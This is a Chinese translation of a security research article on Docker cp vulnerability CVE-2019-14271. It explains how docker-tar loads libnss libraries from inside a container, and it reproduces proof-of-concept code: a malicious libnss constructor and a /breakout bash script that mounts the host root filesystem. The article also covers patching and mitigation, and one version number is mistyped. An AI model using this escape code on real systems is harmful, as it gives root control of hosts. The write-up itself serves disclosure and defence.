宿主机进程挂载到容器内_迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析(CVE201914271)...
摘要
在過去幾年中,我們在各種容器平臺(包括Docker、Podman和Kubernetes)中發現了copy(cp)命令中存在多個漏洞。其中,迄今為止最嚴重的的一個漏洞是在今年7月被發現和披露的。然而,在該漏洞發布的當時,并沒有立即引起太多關注,可能是由于CVE的描述不明確,并且缺少已經發布的漏洞利用方式。
CVE-2019-14271是一個Docker cp命令實現中存在的安全問題,當被攻擊者利用時,該問題可能導致容器的完全逃逸。自從今年二月發現了嚴重的runC漏洞以來,這是后續發現的首個完整容器逃逸漏洞。
如果容器已經被先前的攻擊過程破壞(例如:借助其他任何漏洞、借助泄露的信息等),或者當用戶從不受信任的來源(例如:注冊表等來源)運行惡意容器映像時,可以利用該漏洞。如果用戶隨后執行存在漏洞的cp命令從受感染的容器中復制文件,那么攻擊者就可以實現逃逸,并完全控制主機和其中的所有其他容器。
CVE-2019-14271在Docker 19.33.1版本中已經被標記為關鍵漏洞,且目前已經修復。在CVE-2019-14271漏洞修復后,我們對其進行了研究,并對該漏洞的第一個概念證明(PoC)進行了分析。
我和Ariel Zelivansky一直密切關注流行容器平臺上存在的漏洞,在近期發現其中的復制漏洞數量有明顯增長趨勢,因此,我們將在11月20日圣地亞哥的KubeCon+CloudNativeCon 2019上介紹我們的發現。我們將深入探討以前的漏洞、各種不同的漏洞實現以及導致這一相對簡單的命令難以實現的根本原因。此外,我們還將討論為解決此問題而編寫的一些新內核功能。
Docker cp
Copy命令允許從容器復制文件、復制文件到容器以及在容器之間復制文件。其語法與標準Unix中的cp命令非常相似。要從容器中復制/var/logs,需要使用的語法為:docker cp container_name:/var/logs /some/host/path。
正如我們在下圖中所看到的,要將文件復制到容器外,Docker借助了一個名為docker-tar的幫助進程。
從容器中復制文件:
Docker-tar的工作原理是對文件進行chroot(如下圖所示),將請求的文件和目錄放在其中,然后將生成的tar文件傳遞回Docker守護程序,該守護程序負責將其提取到宿主機的目標目錄中。
Docker-tar chroot進入容器:
之所以選擇chroot的方式,有一個主要原因是為了避免符號鏈接問題,當主機進程嘗試訪問容器上的文件時,可能會產生符號鏈接的問題。在這些文件中,如果包含符號鏈接,那么可能會在無意中將其解析為主機根目錄。這就為攻擊者控制的容器敞開了大門,使得攻擊者可以嘗試讓docker cp在宿主機而非容器上讀取和寫入文件。在2018年,有幾個在Docker和Podman中發現的CVE漏洞是與符號鏈接相關的。通過進入到容器的根目錄,docker-tar能確保所有符號鏈接都在其目錄下被有效地解析。
但遺憾的是,在從容器中復制文件時,這樣“扎根到容器中”的過程為更嚴重的漏洞埋下了伏筆。
CVE-2019-14271漏洞分析
Docker是使用Golang語言編寫的。具體而言,易受攻擊的Docker版本是使用Go v1.11編譯而成的。在這個版本中,某些包含嵌入式C語言代碼(cgo)的軟件包在運行時動態加載共享庫。這些軟件包包括net和os/user,都會被docker-tar使用,它們會在運行時加載多個libnss_*.so庫。通常,這些庫會從宿主機的文件系統中加載,但是由于docker-tar會chroots到容器中,因此它會從容器文件系統中加載庫。這也就意味著,docker-tar將加載并執行由容器發起和控制的代碼。
需要說明的是,除了被chroot到容器文件系統之外,docker-tar并沒有被容器化。它運行在宿主機的命名空間中,具有所有root能力,并且不會受到cgroups或seccomp的限制。
有一種可能的攻擊場景,是Docker用戶從以下任一用戶的位置復制一些文件:
(1)運行包含惡意libnss_*.so庫中惡意映像的容器;
(2)受到攻擊的容器,且攻擊者替換了其中的libnss_*.so庫。
在這兩種情況時,攻擊者都可以在宿主機上實現root權限的任意代碼執行。
這里順便提一個有趣的事實,這個漏洞實際上是從GitHub問題中發現的。該用戶試圖從debian:buster-slim容器中復制文件,過程中發現docker cp反復多次出現失敗的情況。其問題在于,這個特定的映像中不包含libnss庫。因此,當用戶運行docker cp,且docker-tar進程嘗試從容器文件系統加載它們時,會出現失敗并崩潰的情況。
漏洞利用
如果要利用CVE-2019-14271漏洞,需要構建一個惡意的libnss庫。我們隨機選擇一個libnss_files.so,下載了這個庫的源代碼,并向其中一個源文件添加了函數run_at_link()。我還使用構造函數屬性定義了該函數。構造函數屬性(特定于GCC的語法)指示run_at_link函數在由進程加載時將作為我們所選擇這個庫的初始化函數執行。這意味著,當docker-tar進程動態加載我們的惡意庫時,將執行run_at_link。下面是run_at_link的代碼,為簡潔起見有所裁剪。
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
? ? ?char * argv_break[2];
? ? ?if (!is_priviliged())
? ? ? ? ? ?return;
? ? ?rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
? ? ?fprintf(log_fp, "switched back to the original libnss_file.so");
? ? ?if (!fork())
? ? ?{
? ? ? ? ? ?// Child runs breakout
? ? ? ? ? ?argv_break[0] = strdup("/breakout");
? ? ? ? ? ?argv_break[1] = NULL;
? ? ? ? ? ?execve("/breakout", argv_break, NULL);
? ? ?}
? ? ?else
? ? ? ? ? ?wait(NULL); // Wait for child
? ? ?return;
}
bool is_priviliged()
{
? ? ?FILE * proc_file = fopen("/proc/self/exe", "r");
? ? ?if (proc_file != NULL)
? ? ?{
? ? ? ? ? ?fclose(proc_file);
? ? ? ? ? ?return false; // can open so /proc exists, not privileged
? ? ?}
? ? ?return true; // we're running in the context of docker-tar
}
run_at_link首先驗證它是否在docker-tar上下文中運行,因為其他常規容器進程也可能會加載。該過程是通過檢查/proc目錄來實現的。如果run_at_link在docker-tar的上下文中運行,那么這個目錄將為空,因為/proc上的procfs掛載僅存在于容器掛載的命名空間中。
接下來,run_at_link將惡意的libnss庫替換為原始庫。這樣就可以確保利用該漏洞運行的所有后續進程都不會意外加載惡意版本并重新觸發run_at_link的執行。
然后,為了簡化利用,run_at_link嘗試在容器中的/breakout路徑處運行可執行文件。這將允許其他的漏洞利用可以以諸如bash的形式編寫,而不一定是C語言。這一過程中將其余的邏輯排除在外,也意味著我們不用針對漏洞利用中的每一處更改都重新編譯惡意庫,而是只需要修改breakout二進制文件即可。
在下面的漏洞利用視頻中,一個Docker用戶運行了一個包含我們的惡意libnss_files.so庫的惡意映像,然后嘗試從容器中復制一些日志。映像中的/breakout二進制文件是一個簡單的bash腳本,該腳本將宿主機上的文件系統掛載到容器的/host_fs處,同時還將一條消息寫入到宿主機的/evil中。
演示視頻:利用CVE-2019-14271突破Docker
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/11/exploit_vid.mp4?_=1
以下是視頻中所使用的/breakout腳本的來源。為了獲得對宿主機root文件系統的引用,腳本在/proc掛載了procfs。由于docker-tar在主機的PID命名空間中運行,因此掛載的procfs將包含主機進程中的數據。然后,該腳本只需要掛載主機上PID為1的帳戶(root)。
#!/bin/bash
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc? ? ?# mount the host's procfs over /proc
cd /proc/1/root? ? ? ? ? ? ? # chdir to host's root
mount --bind . /host_fs? ? ? # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil
漏洞修復方法
在該漏洞的修復代碼中,修復了docker-tar的init函數,該函數可以從存在問題的Go軟件包中調用任意函數。這將使得docker-tar在chroot到容器之前,從宿主機文件系統中加載libnss庫。
CVE-2019-14271修復方法:
總結
允許在宿主機上以root執行代碼的漏洞非常嚴重。因此,業務方需確認已經更新至Docker 19.03.1版本或更高版本,因為這些版本已經包含了針對這一漏洞的修復。為了限制此類攻擊的攻擊面,我們強烈建議大家不要輕易運行不受信任的映像。
除此之外,在不一定需要使用root用戶的場景中,我們強烈建議以非root用戶身份來運行容器。這樣可以進一步提高其安全性,并能有效防范攻擊者利用容器引擎或內核中可能存在的一些缺陷。針對這個CVE-2019-14271漏洞,如果我們的容器使用非root用戶運行,就能有效防范相應攻擊。即使攻擊者成功攻破了我們的容器,他也無法覆蓋容器的libnss庫,因為這個庫僅有root具有權限,所以無法實現漏洞利用。如果大家還想對此有更深入的了解,建議閱讀Ariel Zelivansky的這篇文章,以明白以非root身份運行容器的安全優勢。
除此之外,我們可以使用安全產品或安全服務來防范此類威脅:
(1)確保開發人員使用經過驗證或經過批準的受信任映像。
(2)借助主機漏洞掃描工具,針對當前環境中運行存在漏洞軟件包的容器發出告警,并檢測出當前存在的CVE漏洞。這樣可以確保我們的容器不會運行存在漏洞的代碼,并能防范1-day攻擊。
(3)使用運行時安全產品,識別并阻止惡意行為者訪問并攻破我們的容器。
本文翻譯自:https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
總結
以上是生活随笔為你收集整理的宿主机进程挂载到容器内_迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析(CVE201914271)...的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: oracle导出超链接,Oracle R
- 下一篇: c语言线性分类回归库 台湾,最全的线性回